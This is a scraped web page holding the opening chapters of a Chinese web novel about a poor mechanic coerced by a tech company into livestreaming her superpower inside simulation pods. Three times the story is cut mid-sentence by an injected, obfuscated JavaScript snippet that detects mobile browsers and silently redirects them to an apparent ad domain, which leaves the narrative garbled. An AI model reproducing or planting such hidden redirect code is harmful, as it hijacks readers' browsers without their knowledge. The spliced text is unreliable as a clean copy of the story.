《赛博手艺人今天把公司干倒闭了吗[无限]》 1. 异动 “岑姐!”屏幕里的小女孩涨红了脸,举起有她半个人高的锤子,“我按你说的,给锤头安上了电击器!” 岑今凑近仔细检查了一番,比出一个大大的拇指:“我们阿莱真棒!下次再碰上垃圾场那些混混,阿莱一锤子把他们全撂地上!” “岑姐岑姐,我还要练多久才能成为像你一样厉害的机械大师?” “哎呀,姐姐就是个小小修理工,别捧杀。”岑今连连摆手。 “岑姐岑姐岑姐——” “滴滴滴——异能波动异常!滴滴滴——异能波动异常!” 刺耳的警报声毫无征兆地响起,淹没了屏幕那头阿莱的声音。 “对不起阿莱,姐姐这边有点急事,晚点再来验收你的最新成果!”岑今匆忙挂断视频,皱眉看向手腕上闪着红光、发出尖锐爆鸣的噪音源——异能监测手环。 什么情况?岑今和手环面面相觑了半分钟,手环没有要停止尖叫的意思,她上上下下感受了一遍,也没觉得自己有什么地方异常。 就在这时,一阵急促的敲门声响了起来。 “你好,联邦异能监测中心。请问是岑今女士吗?” 岑今推开吱呀作响的家门,看到门口并排站着两个穿西装打领带的年轻小伙,右边的瘦高个手里提着个漆黑的工具箱,左边的小土豆从口袋里掏出了一本深蓝色的证件。 巴掌大的证件上印着三个大字——安保员。 手环依旧在尖叫,她淡定地点了点头:“对,我是。请问二位找我有什么事吗?” 小土豆盯着发出尖叫的异能监测手环,上前一步道:“您好,我们是联邦异能监测中心的值班安保员。”瘦高个站在一旁,提了提他手中的工具箱。 “系统检测到您的手环出现了异常数据。保险起见,我们需要在线下重新测定您的异能水平,希望您能配合我们的工作。” “好的好的,收到收到。”岑今抬手请两人进来,回头看了一眼堆满废弃零件的小破屋,“额,欢迎光临寒舍。” 瘦高个悄悄踢开两块废铁落脚,打开神秘的黑色工具箱,里面放着一个长得像海胆一样的黑色头盔,还有一块半透明的显示屏。 “和之前异能定级的时候一样,需要您戴上异能测定器。” 岑今接过测定器,也就是那个海胆头盔,毫不犹豫地把自己的脑袋卡了进去。 她每天就安安分分地上垃圾场捡点零件,然后回家勤勤恳恳接单帮人修理家电,最多有空的时候自己做点小手工小发明,她那D级的鸡肋异能能出什么问题? 一定是手环坏了。 头盔内部凸起的电极片有生命般探向她的头皮,相触的那一刻,她仿佛被扔进奔腾洪流,疯狂的呓语嗡鸣着鼓动耳膜,直到闪烁的显示屏浮现出一行确定的文字——「空间壳」,D级,无危险性。 “奇了怪了,最近怎么老有手环报假警啊……”小土豆举着那块半透明屏幕一顿戳戳点点,大大的眼睛里写满了疑惑。 岑今瞟了一眼测定结果,摘下头盔道:“我觉得是手环坏了,我可以自己先试着修修。” 小土豆圆圆的脑袋依然埋在屏幕上,她突然有点好奇,小土豆戴上海胆头盔会是什么效果。 就在那一瞬间,她的双手之间突然张开了一个半透明的隧洞,海胆头盔从她手里滑落,一个猛子扎进了洞里。 再一眨眼,小土豆头顶上方也张开了一个同样的隧洞,海胆头盔从洞里飞了出来,狠狠地砸中了他的脑袋。 岑今:??? 她就那么一想,她可什么都没干啊! 小土豆两眼一闭,直挺挺倒在了地上。瘦高个匆忙捡起砸凹了一角的头盔,急急向后退去,同时右手一甩,一座滋啦冒电的铁笼就把岑今罩在了中间。 “袭击公职人员,涉嫌故意伤害罪!”瘦高个的声音陡然拔高,隔壁邻居默默关上了窗缝,“不许动!” 他又低下头检查了一番手里的海胆头盔:“异能测定器也被你砸坏了,涉嫌故意毁坏财物罪!你知道自己要赔多少钱吗?!” 岑今站在铁笼中央一动没动。她的异能说好听点叫「空间壳」,说难听点就是个能把她罩起来的亚克力防尘罩,连外卖机器人的一拳都挡不住,更别说这一圈高压电网了,她是真的不敢动。 “如果我说,我不是故意的,你信吗?”岑今万分诚恳地看向已经离她十米远的瘦高个。 瘦高个信不了一点儿:“一个异能测定器就要三十万新币!” 三十万新币! 她的眼前浮起昨天阿莱蹲在污水管边,捣鼓捡来的脑机接口的画面。小孩脏兮兮的脸被烈日灼得通红,她仰头笑着说:“岑姐,这个修好能卖二十新币呢!” 像她们这种北岸穷人区的机修工,就算是没日没夜、废寝忘食地干上大半辈子,恐怕都凑不出三十万新币。 岑今深深地叹了口气。 瘦高个掏出一副泛着蓝光的手铐向她走来,眼神里写满了忌惮。 岑今认识这种手铐,是专门用来对付高等级异能者的异能抑制手铐,这位安保员未免有点太看得起她了。 “安保员大哥,请你听我解释——” “你先跟我走一趟!” 手铐锁定了岑今的位置,直直地向着她的手腕飞去。就在扣上她双手的那一刻,一个长方形的物体擦过了安保员的脸颊,飞快地冲进屋内,打偏了即将落锁的手铐。 好巧不巧,手铐“当”的一声砸在了昏迷的小土豆头上。 岑今捏住那个长方形的物体,发现那居然是一张材质坚韧的传单,标题的两行大字夺人眼球: 「诚聘异能主播!」 「薪资上不封顶!」 “等一下,我想这中间可能有些误会。” 陌生的嗓音响起,岑今和瘦高个两人齐齐循声望去,一个高挑精干,留着蓝黑色微卷短发的女人从屋外向他们走来。 她穿着一身藏青色的工作服,左胸口处有一个反光的莫比乌斯环图样,这是联邦第一科技巨头,英菲尼迪科技公司的标志。 岑今本来已经自认倒霉,做好了蹲看守所、啃合成粮的心理准备,此时又重新燃起了希望。 都说英菲尼迪和联邦政府的关系非同一般,这位姐姐出手打落了手铐,事情或许会有转机。 “先自我介绍一下,我是英菲尼迪科技公司的业务代表,深蓝。”她扬起一个标准的微笑,拍了拍瘦高个紧绷的肩膀,“这位女士确实不是故意的,她很适合成为模拟舱的测试者。” 她拿出一份文件递给了瘦高个安保员:“这是敝司与联邦政府合作研发异能者专用模拟舱的协议合同,在联邦政府的内网上应该也可以查到。” 瘦高个仔细看了一遍,把手铐收了回来。 “这位女士造成的损失,英菲尼迪愿意替她赔付。那位安保员也醒了,”深蓝看向迷迷糊糊从地上撑起身子的小土豆,“后续事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195111|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜都将由公司与联邦异能监测中心直接对接,二位可以先走一步,回去向上级报备。” 这是在赶人了。 岑今看一眼安保员,又看一眼深蓝,感觉自己是刚出了龙潭,又要入虎穴。 “不然大家都先坐下,咱们喝点营养剂,一起聊——” “好,那我们就先回去了。”瘦高个收回了电笼,视线落在合同的二十八条上——联邦政府应为英菲尼迪公司模拟舱的研发与测试工作提供必要支持,一切风险由英菲尼迪公司独立承担。 岑今看着瘦高个扶起小土豆,快步离开的背影,再次深深地叹了口气——到底有没有人能听听她把话说完? “好了,现在我们来谈谈吧。”深蓝自然地带上了门,屋里只剩下她和岑今二人。 她指了指岑今手中的传单:“你也看到了,我们与联邦政府合作研发了模拟舱,进入模拟舱后可以进行丰富的副本场景体验与挑战,现在这款产品正处于测试阶段。” “类似过去很火的全息网游?” “这么理解也可以,二者在呈现形式上相似,但在技术层面存在一定差别。模拟舱不仅可以提供身临其境的副本体验,同时,还能通过脑电刺激的方式深度开发异能者的潜能,为异能的未来提供更多可能。”她的眼神中闪动着难以抑制的激动,“这会是一项——变革性的技术!” 岑今皱了皱眉,指尖划过传单标题:“但这里写的是‘诚聘异能主播’,所以你们要找人测试产品,这个测试过程还会对外直播?” “这就涉及到合作的另一方面了,”深蓝停顿几秒,重新挂上一个恰到好处的微笑,“简单来说,您可以认为联邦政府是敝司的天使投资人,而异能挑战直播则是模拟舱产品在短期内取得商业回报的一种直接方式。” 她听懂了,说白了就是想靠搞直播赚快钱呗。 “那你们为什么会选中我做这个测试者?” 深蓝不答反问:“你想知道刚刚你的异能为什么会失控吗?” 她的异能?失控?之前那两个奇怪的隧洞还真是她弄出来的? 岑今还是有点不愿相信:“如果我不想知道,也不想做这个测试者呢?” “那公司就会通知异能监测中心上报联邦政府,你涉嫌故意伤害罪、故意损坏财物罪,量刑先不说,首先赔偿金额就是三十万新币起步。” 岑今默默打开光脑,看了一眼账户余额,3568.5新币,还有零有整的。这就是她从十八岁开始,专业做机修工三年来的全部积蓄。 事已至此,看来不得不转行做主播了。 “好吧,”她深吸了一口气,“那这个异能主播有底薪吗?工资怎么结算?有没有kpi要求?会有生命危险吗?” “完成每场副本直播底薪五万新币,副本表现与直播间收益会另行结算提成,薪资上不封顶哦。”深蓝的笑容更大了,“要求是每周至少进入一次模拟舱副本,剩下的时间可以自由支配,也不存在什么绩效考评、末位淘汰。” “另外,进入模拟舱副本是意识接入,副本中的损伤不会带入现实世界。” “赔偿的三十万,是从我的薪资里扣吗?” “没错,最慢也只需要参与六场副本,就可以结清了哦。” 她就知道,资本家不可能让她吃免费的午餐。 时间一分一秒地过去,深蓝抱起双臂,五根手指来回地敲击。 “怎么样,考虑好了么?” 2. 入职 她还有选择吗? 岑今笑了笑,看了一眼她堆满破铜烂铁的、温馨的小家。她贫穷但平静美好的生活,可能就到此为止了。 “现在就走?贵司大半夜也能办入职?” “当然,会有值夜班的同事为您服务,”深蓝顿了顿,语气陡然昂扬起来—— “欢迎加入英菲尼迪,我们将共创异能者的未来!” 二十分钟后,岑今已经坐上了她未来东家派来接她的专车。深蓝挂着标准的微笑,安静坐在她的身侧。 照亮水下隧道的一盏盏射灯在车窗外飞速后退,北岸脏污的街道、随处可见的流浪者被抛在身后。 黑水河将南湾市分割成互不打扰的两个世界——前方的南岸是钢铁森林、高楼林立,垂着光幕广告的飞艇游走其间,玻璃幕墙映出霓虹灯的流光溢彩,夜里比白天还要繁华璀璨; 身后的北岸则是黑洞洞的,密密麻麻的小窗中透出一星一星聊胜于无的冷光,小巷里会有醉汉游荡,肮脏的叫骂声飘向浑浊的半空。 他们一路向前,穿越宽阔的黑水河,闯入五光十色、灯火通明的南岸。 在路上,深蓝告诉她,英菲尼迪在南湾市西南郊有一处实验基地,用于进行模拟舱研发迭代以及与异能相关的一系列研究工作,异能主播的活动基地也一并放在那儿。 这段从南向北纵跨南湾市的路途一共花费了一个多小时,当纯白色的、形似3D立体版莫比乌斯环的实验基地出现在岑今眼前时,已经是夜里十二点了。 “滴——”,深蓝通过了基地门口的虹膜识别,紧闭的金属大门向左右两侧打开,一个温柔又冷漠的机械女声紧接着响起,“晚上好,员工深蓝。” 二人走进纯白色的基地大厅,虽然是深夜,但封闭的建筑内部依然明如白昼,亮得甚至有些晃眼。 前台的接待小姐站得笔直,正对她们礼貌点头微笑。深蓝领着岑今大步流星地从她身边掠过,并没有分给她一个眼神。 拐了一个弯之后,半透明的“员工入职处”几个大字赫然映入眼帘,悬浮在她们面前那道白色大门的中央。 “新员工都会在这里办理入职,不论是什么岗位。”深蓝向前一步,撞散了半空中“员工入职处”的文字,白色的大门向两侧移开,一座流线型的狭长办公台逐渐露出全貌。一个烫着浅金色波浪卷、戴一副金丝边眼镜的女人从巨大的显示屏后探出脑袋,分外热情地冲岑今挥手:“晚上好,我们的新伙伴!” 深蓝微笑着介绍:“这是人力资源部的艾琳。” “你好,艾琳姐。”岑今不动声色地四下打量一圈,“请问接下来我需要做些什么呢?” “你什么都不用做哦。”艾琳依旧扬着热情又和善的笑脸,只是微微低头,把眼镜往下拉到了鼻尖上。没有了镜片的遮挡,她的瞳孔在瞬间开始高速旋转!冰蓝色的漩涡花纹从瞳孔最中央生长,不过一眨眼的功夫,就已经覆盖了她的整个眼球。 岑今心中警铃大作,她的目光被牢牢地锁住了,她只能看到越来越大、越来越深邃的冰蓝色漩涡,像是要把她整个人都卷入其中。在遮蔽了一切的漩涡面前,她变得无比渺小,头顶仿佛有千斤的重压,再多一秒她就要喘不过气来。 然而在深蓝的视角下,岑今只是在一瞬间瞪大了眼睛。再一眨眼,她正大口喘着气,急急向后退了两步。 艾琳语速极快地开口: “姓名:岑今。” “性别:女。” “年龄:24岁。” “异能:空间壳。” “评级:D级,无危险性。” “异能水平发生异常波动,出现成长倾向,建议投入模拟舱实验。” 她每说一句,岑今的危机感就上升一分。等到她播报完最后一句宣判时,岑今全身的汗毛都竖起来了。 ——只需要一眼,就把她的基本信息“看”得一清二楚,甚至能看出测定头盔也没检测出来的什么“成长倾向”,艾琳的异能未免有点超标了。 “好了,结束啦!”艾琳把眼镜推回原位,敲下最后一个回车,“是不是吓到你了?别担心,可能体感上会有些不适,但我的「透视」不会对你造成任何实质性的伤害哦。” 深蓝在一旁补充道:“抱歉,没有给你打预防针,因为像这样突然袭击获取的信息会更准确一些。” 岑今平静了下来,觉得有被冒犯到。她虽然是不得不入职寄人篱下,但还是暗暗在心里给这两人记了一笔。 她不咸不淡地问道:“入职流程算结束了吗?” “还差最后一步。”艾琳的笑容变得有些神秘,她俯身从工作台下拿出一个纯白的圆环,招招手示意岑今上前。 “这是什么?”岑今走到艾琳身前,扣着异能监测手环的手腕被她温柔地拉住。艾琳拿着圆环在周围比划了两下,原本只能由联邦政府工作人员摘下的异能监测手环,忽然“哒”地一声解开了。 艾琳把解下来的手环放进了一个方方正正的盒子里,又抓着她的手往那个白色圆环里塞:“深蓝应该给你介绍过了吧,我们的模拟舱是和联邦政府合作的正规项目哦。你放心,解绑监测手环的流程也是正规的。各位异能主播在基地活动期间,公司会替大家保管好监测手环的~” 说完,还对她眨了眨眼睛。 岑今的皮肤接触到白色圆环,触感像是被章鱼的触手缠上。 圆环的直径能够跟随佩戴位置的粗细自由变化,始终紧紧包裹着她,从指尖,向下滑到手掌,最后停在手腕上。饶是岑今在垃圾场捡了三年废旧零件,也从没见过这种材质的原料。 手环居中处隐隐浮现出一个泛着荧光的莫比乌斯环的图案——正是英菲尼迪科技公司的标志。 “你要不猜猜这是什么?”艾琳摸了摸装备完毕的白色圆环,看起来十分满意。 岑今转了转手腕:“我猜这是模拟舱的钥匙。” “没错!这是英菲尼迪为各位异能主播配备的光脑,也是你的专属模拟舱的启动器。你的房间号是B124,信息绑定已经完成,现在就可以入住了哦。” “欢迎加入英菲尼迪!” “欢迎加入英菲尼迪,员工岑今。” 和深蓝、艾琳的声音一同响起的,是先前踏入公司大厅时和深蓝“打招呼”的机械女声。 岑今瞟了一眼墙上显示的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过,她算了算时间,就算一会儿折腾到两点才睡觉,到明天早上十点也能有八小时睡眠,足够了。以前做她的小手工、小发明的时候,她可没少熬夜。 “没问题。”岑今点了点头,电梯显示屏的字符正好停在“B1”。 两人一路走过去,这一层的布局很像学校宿舍,走道两侧排列的窄门复制粘贴般整齐,唯一发生变化的是一路递增的房间编号后两位。过道的墙面应该是某种特制的金属,纯白反光的材质让岑今想起散发着消毒水味儿的医院走廊。 B108、B115、B121……B124很快就出现了,深蓝停在两步开外,伸手示意岑今自己上前去刷开她的房门。 “所以我是第24个测试者?” “是的,你是我们招募的第一批主播。” 不出意外的话,她大概也是第一批主播中的最后一个。 岑今将光脑贴上了门锁:“辛苦你了,深蓝。” “这是我的使命。”她依旧挂着那个标准的笑容,额前落下一缕碎发,“希望您有愉快的一天。” “晚安。”岑今反手合上门,转身看向漆黑的客厅中央,那里放着一个近两米高的剥了壳的鸡蛋。 ——原来模拟舱就长这样。 她轻轻将手掌贴上舱面,掌心传来的触感光滑、冰冷,又有种淡淡的潮湿。在触及的瞬间,血色的人影、摇动的火焰、金属的残骸、瓷白的塑像、满地狼藉中跌坐的少年……无数混乱动荡的画面伴随着一阵清脆又悠远的叮铃声,来势汹汹地将她席卷,又在一眨眼过后悄无声息地消失。 岑今猛地将手甩开,不可置信地睁大了眼睛。 这些……都是什么? 3. 母神的赐福(一) “欢迎大家参加凤凰岭民俗体验夏令营!” 岑今一个激灵,睁开了眼睛。 车头一角的喇叭嗡嗡震动,没有起伏的电子合成音,却念着热情洋溢的欢迎语,有种莫名的诡异。中巴车里冷气开得很足,冻得人直起鸡皮疙瘩—— 等等,我鸡皮疙瘩呢? 岑今低头一看,她的左手一切如常,柔软的汗毛正警惕地站岗。然而她的右手,光滑的、冰冷的,反射着无机质的冷光——这是一只机械手,一只不具备产生鸡皮疙瘩的生物组织的、完全由机械骨骼连接成的手。 岑今操控她的机械手指合拢、张开,隐晦地又是绕肩又是抬肘,仔仔细细地感受了一番,得出结论:虽然这只新手在外观上略显奔放,但用起来倒还挺顺畅,力量比起她原装的手也有所加强。 她又用机械手拉起裤腿——好家伙,她的左小腿也变成机械款了。 这是怎么回事?系统设定? 她记得她踩着点在九点五十分起床,迅速地抹了把脸,绑了一个利落的高马尾,准时在十点整用她的光脑打开了模拟舱,然后安详地躺了进去。 舱内明明没有水,却有一种浴室般的潮湿。电流像是有生命一样,毫无章法地蹿进她的大脑——再然后,她眼睛一闭一睁,就到了现在这辆中巴车上。 岑今正思索着,忽然眼前白光一闪,跳出了一张光幕: 【副本开启:母神的赐福】 「风景优美、民风淳朴的凤凰岭,是今年暑假的热门旅游地。凤凰村的民俗体验夏令营,更是无数人挤破头报名的爆款项目。恭喜万里挑一的你们,幸运地获得了宝贵的活动名额! 请珍惜这个来之不易的机会,深度体验凤凰岭独特的民俗文化,努力探索凤凰岭的神奇秘密吧!」 ……“幸运”?听起来很像诈骗。 光标停在最后的感叹号后闪动,不到半分钟,光幕就收缩成了一束白光,“咻”地钻进了紧扣着岑今左手腕的白色光脑里。 视线跟着落到光脑上的那一瞬间,她终于想起自己是来打工的,还有直播的任务要完成。 她心念一动,直播间的窗口弹了出来。观众看到的画面是第三视角,岑今在画面中央,但镜头的位置并不固定,有时角度也会偏移。直播间里零星有几条弹幕飘过: 【有谁知道这个异能直播是干什么的?】 【不造啊,突然就出现在我首页了】 【主播的头发是怎么扎的?看起来很稳,求教程】 【路过,我看隔壁直播间主播也在这辆车上】 【主播的昵称是什么?】 岑今抬头看了一眼直播间的标题:“请输入您的昵称…”的直播间。 起名,她最会起名了。只停顿了一瞬,岑今的直播间就换上了全新的名字:“48岁铁血修理工人”的直播间——一个一看就很有威慑力的名字。 从弹幕来看,直播间的观众和岑今一样,都处于两眼一抹黑的摸索阶段。英菲尼迪的这个异能直播应该属于空降,他们开播的那一刻才刚刚开始投放,投放范围、观众身份都不明确。弹幕的数量也并不多,不知道一会儿会不会热闹起来。 岑今关掉直播窗口,暗自用余光扫过了周围环境。 司机的位置是空着的,这是一辆无人驾驶的智能汽车。算上她在内,车上零零散散坐着六名乘客。不出意外的话,其他五人应该和她一样,都是英菲尼迪招募的异能主播。 车上静悄悄的,只有发动机运转的单调背景音。没有人出声,他们似乎都在试探、打量。当然,不是所有人都能做到像岑今那样不动声色。比如坐在最后一排的那个锅盖头学生弟,来来回回地推他的厚眼镜,就差把紧张两个大字写在脸上了。 岑今粗略一瞥,发现他们这六位乘客身上或多或少都带点“机械装备”。 在模拟舱外的世界,人体机械改造还远没有成为一项广泛普及的技术。义体材料造价不菲,改造手术更是费用昂贵,即使在南岸,也只有金字塔顶端的那一小撮人能够负担得起。 从中巴车的配置来看,模拟舱“副本”内的科技水平和外界差距不大,那么他们这一车六个人都接受过机械改造大概率不是巧合,也就是说,这很有可能是他们成为被选中的“幸运儿”的原因。 另外,这也说明他们拥有另一个共同点——都很有钱。 “到达目的地。欢迎大家来到凤凰岭——”在车头喇叭冷淡地念完欢迎语之后,这辆载着六位幸运主播的小车缓缓停了下来。 车门“呲”地一声挪开,岑今左右看看,没有人动,于是坦然地身先士卒第一个下车——既然都打着“夏令营”的旗号了,总不至于一见面就遭遇意外吧。 车外的阳光猛烈,她抬手遮在眉上,眯着眼向前看去。不远处是村寨的竹制大门,门头上立着灯管拼成的“凤凰村”三个大字,白天看着不太起眼,不知道晚上亮灯会是什么样子。 在岑今身后,剩下的乘客们也陆续下车了,彼此之间保持着不远又不近的安全距离,看起来有些躁动不安。 忽然有人拍了拍她的肩膀,岑今回过头,是一个顶着寸草不生的机械脑壳、还戴着一副黑框眼镜的男人。 “小姑娘,你胆子挺大啊!我们都在犹豫呢,你想都没想就打头阵下来了。”铁脑壳男大概是想拉近一下彼此之间的关系,“进去之前,不如我们先认识一下吧?人生地不熟的,表面再淡定,心里其实也没底,我都懂!” 岑今瞟了他一眼,总觉得这人说话有股阴阳怪气的味道。不过他的提议还是可以采纳的,从目前的任务介绍来看,主播之间并没有直接的竞争关系,大家合作“探秘凤凰岭”或许会比单打独斗效率更高。 于是她依旧是打头阵开口:“我叫岑今,今年21岁。防御系异能,身体素质还不错。” “我叫胡家明,已经是快40的中年人了。我的异能属于身体强化类的,身体素质应该也挺不错的,哈哈。”紧随其后的,就是那个铁脑壳男。 下一个是在车上坐在最后一排的锅盖头学生弟:“我、我叫陈小明,今年18岁,刚被大学录取。我的异能和视觉有关,但我在学校里体育成绩一直不好,希、希望不要拖大家后腿。”说罢,他又推了推他的厚镜片。 岑今这才看清,陈小明机械化的部位是眼睛,他的右眼是一只机械眼。但机械眼为什么还需要戴眼镜?会和他的异能有关吗? “我叫蒋琳,29岁,元素系异能,之前是做老师的。”蒋琳一头利落的短发,衬衫裙下的小腿被机械义体取代,整个人看起来很干练。 “老师们好!我的真名叫路阳,不过也可以叫我的圈名“炎君”,两天前刚过完23岁生日。我的异能攻击性不高,但天生我材必有用,相信平凡的异能也一定能在某个时刻发光发热,请大家多多关照!”话音刚落,他迅速地给大家鞠了一个标准的躬,把几人都吓得一震。 路阳穿了一身黑,浑身上下遮得严严实实,两只手插在风衣宽大的口袋里,脑袋之外没露出一点皮肤,散发出一股神秘且中二的气息。 不过岑今之前在车上恰好瞟到,他的双手是一对机械手——伪装无效。 最后一个做自我介绍的是一个还不到岑今肩膀高的小姑娘,她厚厚的齐刘海梳得一丝不苟,左右扎两个麻花辫,看起来只有十二三岁的样子。 “姜月月,13岁,异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195113|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能和毒有关。”姜月月的眼睛狭长上挑,乌黑的眸子看不出情绪,脸上的表情也淡淡的,站在人群的最外围,一副生人勿近的模样。 岑今多看了她几眼,因为她暂时还没发现这个小女孩身上的机械义体装在什么地方。姜月月毫无波动的视线对上她的,又迅速移开了。 他们这边话音刚落,一阵丁零当啷的清脆声响就从不远处飘了过来。六人齐齐扭头看过去,一个清瘦的少年推开凤凰村的竹制大门,匆忙向他们跑来。他穿着一身鸦青色的衣裳,对襟短衣和宽大的长裤中间束了一条厚重的腰带,胸前和腰间坠着的银饰叮当作响,耳后编了两根细细的小辫,跑动时在他身后飞扬。 他像是从不知年岁的世外桃源里走出来的画中人,主播们一时间都有些愣神。 “对不起对不起,我迟到了。你们应该就是这一批夏令营的营员吧?”少年停在他们面前,微微喘着气,脸上扬起一个灿烂的笑容,“你们好呀!我叫青山,是凤凰村民俗体验夏令营的领队,欢迎大家来到凤凰村!” 很好,这个npc很有她刻板印象里的民俗味——岑今在心里默默感叹了一句。 “青山小兄弟,幸会啊!”胡家明上前一步,煞有介事地作了个揖,“没错,我们几个都是来参加夏令营的,敢问小兄弟接下来的行程安排是什么啊?” 青山眨了眨眼,卖了个关子:“请跟我来。” 六位主播缀在青山身后,走进凤凰村朴实的大门。岑今听见陈小明压低了声音不确定地开口:“这个是npc吧?应该不会害我们吧?” 回答他的是离他最近的蒋琳:“嗯,是npc。但防人之心不可无。” 一条蜿蜒的小溪从村寨中穿过,溪水两岸依山排列着一座座吊脚楼,木质的窗棂上刻着各种虫类的纹样,青山介绍说,这曾是凤凰岭一带古老的图腾信仰。 一行人走走停停,欣赏着凤凰村山清水秀的风景,恍惚间给人一种岁月静好的错觉。岑今趁着这个机会打开了直播间,弹幕的数量明显多了起来: 【说好的惊爆眼球的异能挑战呢?怎么我点进来是旅游宣传片啊!】 【就是啊,诈骗宣传,举报了】 【只有我一个人觉得npc小哥很帅吗?】 【主播真的48岁吗?】 【你们能不能有点耐心,写的是24小时全天直播,这才开始没多久呢】 【主播现在是什么打算,给我们讲讲呗】 岑今粗略浏览了一遍,得到了两个新信息:一是英菲尼迪对异能直播的宣传定位是“惊爆眼球”——看来这个凤凰村静好不了多少岁月了;二是“24小时全天直播”——这意味着这场挑战赛起码在24小时内不会结束,她必须调整好节奏,以确保自身状态足以应对未知的风险。 另外,她还注意到直播间右上角有一个“打赏”的标志,她目前的打赏值是105。 “叮咚”一声,岑今眼前又弹出了一块光幕: “恭喜您解锁打赏系统!打赏值可以在商城中换取道具,帮助您顺利度过挑战赛中可能出现的难关。总打赏值将在每场直播结束后进行结算,排名靠前的主播还有机会收获神秘大礼哦!所以,积极和观众互动,努力赚取更多的打赏吧~” 还要和观众互动?对她这种手艺人来说,这确实是个挑战。 岑今打开商城看了看,目前还没有道具出售,也不知道模拟舱副本内的物价如何。 她还在思索着,队伍已经停了下来。她差点儿撞上前面比她矮一截的姜月月,被那小姑娘冷冷地瞟了一眼。 “这就是夏令营的第一站,”青山的声音把她拉回了脚下的凤凰村,“母神殿。” 4. 母神的赐福(二) 岑今抬眼望去,他们停在一座以灰白色为主、砖木结构的大殿前。殿门大敞,两侧有两根石柱支撑,石柱四面雕刻着之前见过的毒虫纹样。 “母神是我们凤凰村祭拜的主神,母神殿就建造在村子正中央,方便村民们日常来殿中祷告、祈福。”青山一边给大家介绍,一边迈上台阶向殿门走去。 爬上十几级台阶站在门口了,岑今才发现殿门右侧墙面上镶嵌了一块电子屏,而殿门也不是真的大喇喇敞开让他们随便进出——碑形的门洞被一层浅红色的半透明物质封闭,应该是某种激光,盯久了给人一种微妙的不适感。 青山示意他们先在原地等待,他转身凑到电子屏前刷脸。 “咱们凤凰村还挺高科技啊!”胡家明等在一旁,突然声情并茂地感慨了一句,大概是在和直播间观众互动。 “滴”的一声,电子屏上蹦出“识别成功”四个大字。 “母神殿设置了激光门禁,主要是为了防范偷盗行为和恶意破坏,只有我们凤凰村的村民有刷脸权限,还请大家理解。” 青山话音刚落,封住门洞的浅红色物质便开始向边缘消退,殿内的景象清晰地在众人面前展露。 “现在可以了,大家跟着我进来吧!”青山回头冲众人招招手,提起有些拖地的长裤迈进了大殿。 母神殿内部的风格十分混搭—— 脚下没有铺地板,原生态的泥土地上青草茂盛; 内侧三面墙上画满精致的壁画,满壁风动,流光溢彩; 大殿正中央矗立着一座二层楼高的巨型女神像,她容貌秀美,双目低垂,通体由瓷白色的金属材料制成,在日光下弥散出莹莹的光晕。 “壁画精美,神像灵动,好厉害的工艺。”蒋琳第一个走进殿门,忍不住赞叹。 “这壁画可是大有来头!”青山微微抬了抬下巴,像是少年人故作沉稳,又在不经意间流露出一点骄傲,“你们从左手边这一面墙看起,按顺时针的方向。” 第一幕是一群只穿了裤衩的早期人类走进大山,在山谷中定居。他们劈柴生火,种田做饭,渐渐形成一片村落,生活平静而美好。 可惜好景不长,下一幕,村舍中出现了状似蝎子、蜘蛛的丑陋生物,有人不幸被毒虫蛰伤,四肢青紫,举止怪异,村中人人避之唯恐不及。 岑今的视线按顺时针的方向挪过去——毒虫没有消失,村中的“怪人”越来越多。 一队勇士决定“出征”,他们为了保卫自己的家园,循着毒虫的痕迹追至林中。密密麻麻的毒虫向他们涌来,几乎是避无可避,所有人身上都泛起青紫,行动也逐渐不受控制。 眼看就要全军覆没,带队的勇士毅然举起斧头,砍下了自己中毒的左臂。血花飞溅,但他身上不再蔓延不祥的青紫,也没有像村中人那样失去神智。 其他人见状纷纷效仿,淋漓的鲜血似乎震慑了虫群,勇士们一路高呼,虫群节节溃败。 “他们追到密林深处,发现成百上千的毒虫聚在一处,拱卫着一个消瘦的女人——那是一名蛊女。”青山讲到这里,故意停顿了一下。 “所以虫群不是天灾,而是人祸。那些毒虫其实都是蛊女老师驱使的蛊虫,对吗?”路阳依旧保持着双手插兜的姿势,主动接了青山的话。 青山点点头,继续将壁画的故事讲了下去:“没错,蛊女是故意将这些人引来这里的,她想把身强力壮的勇士炼成为她所用的蛊尸!勇士们身受重伤,一路走到这里已是强弩之末,完全不是蛊女的对手。” “接下来……这是母神?”岑今的视线落在壁画的最后一幕,就在勇士们准备抛头颅洒热血慷慨就义和蛊女决战的时刻,一个一袭白衣的女人出现在他们身前。 她挥开手,毒虫便纷纷四下逃窜。蛊女失去了虫群的拱卫,茫然地跌落在地,本就消瘦的躯体像是在瞬间被抽干,缩成了一具皮贴骨的干尸。 “母神嘉奖勇士们无畏无惧、守卫家园的精神,在危急关头显圣,驱逐了邪恶的蛊女,又降下神迹替勇士们重塑断肢、治愈伤口。” “在母神的注视下,村庄不再受毒虫邪物侵扰,村民安居乐业,繁衍生息,这里逐渐成为深山中的一片净土……” 青山带着大家在殿中绕了一圈,看完了三面壁画,又重新回到正中央的母神像前,“这就是凤凰岭的古老传说,母神也因此成为了我们祭拜的守护神。” 凤凰岭一带气候湿热,毒虫泛滥并不奇怪;祭拜神灵以求免于毒虫侵害,也符合这个地区的生活逻辑。 